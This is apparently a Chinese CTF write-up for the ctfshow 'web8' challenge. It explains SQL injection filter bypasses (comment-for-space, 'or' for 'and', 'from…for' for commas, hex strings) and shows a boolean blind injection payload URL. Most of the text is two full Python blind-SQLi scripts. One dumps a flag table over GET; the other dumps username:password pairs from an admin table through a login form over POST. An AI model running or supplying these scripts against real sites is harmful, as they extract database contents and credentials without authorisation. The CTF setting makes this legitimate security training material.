ctfshow——web8
进入页面后访问三个文章,发现参数id,考虑存在sql注入
尝试注入的过程中发现存在过滤,抓包fuzz一下
发现长度979的字符都被过滤了
绕过方式
空格绕过:/**/
and绕过:or
逗号绕过:from 1 for 1,如substr(database(),1,1) => substr(database() from 1 for 1)
单引号绕过:可以考虑转十六进制,如"user" => python代码 ("user").encode().hex()
这里注意,单引号被过滤的情况下,字符串注入基本就没戏了(因为无法闭合),但字符型注入还有操作空间,因为字符型注入不管闭合与否,结果不变
回显注入没可能了,尝试布尔盲注
这里发现访问正常逻辑页面和错误逻辑页面不同,布尔盲注可行,通过脚本爆破出flag
正常逻辑
错误逻辑
以if作为判断条件,构造paylpoad:http://2102cd05-573c-42d9-992b-403c2af22b85.challenge.ctf.show/index.php?id=-1/**/or/**/ascii(substr((database())/**/from/**/1/**/for/**/1))<128
脚本
#-*-coding:utf-8-*- import requests import time host = "http://055b4454-f1ad-4593-8acc-026894769c0a.challenge.ctf.show//index.php?id=1" def getDatabase(): #获取数据库名 global host ans='' for i in range(1,1000): low = 32 high = 128 mid = (low+high)//2 while low < high: payload= "-1/**/or/**/ascii(substr(database()/**/from/**/%d/**/for/**/1))<%d" % (i,mid) res = requests.get(host+payload) if "if" in res.text: high = mid else: low = mid + 1 mid=(low+high)//2 if mid <= 32 or mid >= 127: break ans += chr(mid - 1) print("database is -> "+ans) def getTable(): #获取表名 global host ans='' for i in range(1,1000): low = 32 high = 128 mid = (low+high)//2 while low < high: payload = "-1/**/or/**/ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())/**/from/**/%d/**/for/**/1))<%d" % (i, mid) res = requests.get(host+payload) if "if" in res.text: high = mid else: low = mid+1 mid=(low+high)//2 if mid <= 32 or mid >= 127: break ans += chr(mid-1) print("table is -> "+ans) def getColumn(): #获取列名 global host ans='' for i in range(1,1000): low = 32 high = 128 mid = (low+high)//2 while low < high: payload = "-1/**/or/**/ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=\"flag\")/**/from/**/%d/**/for/**/1))<%d" % (i, mid) res = requests.get(host+payload) if "if" in res.text: high = mid else: low = mid+1 mid=(low+high)//2 if mid <= 32 or mid >= 127: break ans += chr(mid-1) print("column is -> "+ans) def dumpTable():#脱裤 global host ans='' for i in range(1,10000): low = 32 high = 128 mid = (low+high)//2 while low < high: payload = "-1/**/or/**/ascii(substr((select/**/group_concat(flag)/**/from/**/flag)/**/from/**/%d/**/for/**/1))<%d" % (i, mid) res = requests.post(host+payload) if "if" in res.text: high = mid else: low = mid+1 mid=(low+high)//2 if mid <= 32 or mid >= 127: break ans += chr(mid-1) print("dumpTable is -> "+ans) dumpTable()flag:ctfshow{a164514e-efb2-44f6-8a3e-2964daef2db4}
这是get传参的布尔盲注脚本
下面分享下post传参的布尔盲注脚本
#-*-coding:utf-8-*- import requests import time host = "http://web.jarvisoj.com:32787/login.php" def getDatabase(): #获取数据库名 global host ans='' for i in range(1,1000): low = 32 high = 128 mid = (low+high)//2 while low < high: payload= "1'^(ascii(substr((select(database())),%d,1))<%d)^1#" % (i,mid) param ={"username":payload,"password":"admin"} res = requests.post(host,data=param) if "用户名错误" in res.text: high = mid else: low = mid+1 mid=(low+high)//2 if mid <= 32 or mid >= 127: break ans += chr(mid-1) print("database is -> "+ans) def getTable(): #获取表名 global host ans='' for i in range(1,1000): low = 32 high = 128 mid = (low+high)//2 while low < high: payload = "1'^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))<%d)^1#" % (i, mid) param = {"username": payload, "password": "admin"} res = requests.post(host,data=param) if "用户名错误" in res.text: high = mid else: low = mid+1 mid=(low+high)//2 if mid <= 32 or mid >= 127: break ans += chr(mid-1) print("table is -> "+ans) def getColumn(): #获取列名 global host ans='' for i in range(1,1000): low = 32 high = 128 mid = (low+high)//2 while low < high: payload = "1'^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='admin')),%d,1))<%d)^1#" % ( i, mid) param = {"username": payload, "password": "admin"} res = requests.post(host, data=param) if "用户名错误" in res.text: high = mid else: low = mid+1 mid=(low+high)//2 if mid <= 32 or mid >= 127: break ans += chr(mid-1) print("column is -> "+ans) def dumpTable():#脱裤 global host ans='' for i in range(1,10000): low = 32 high = 128 mid = (low+high)//2 while low < high: payload = "1'^(ascii(substr((select(group_concat(username,0x3a,password))from(admin)),%d,1))<%d)^1#" % ( i, mid) param = {"username": payload, "password": "admin"} res = requests.post(host, data=param) if "用户名错误" in res.text: high = mid else: low = mid+1 mid=(low+high)//2 if mid <= 32 or mid >= 127: break ans += chr(mid-1) print("dumpTable is -> "+ans) dumpTable()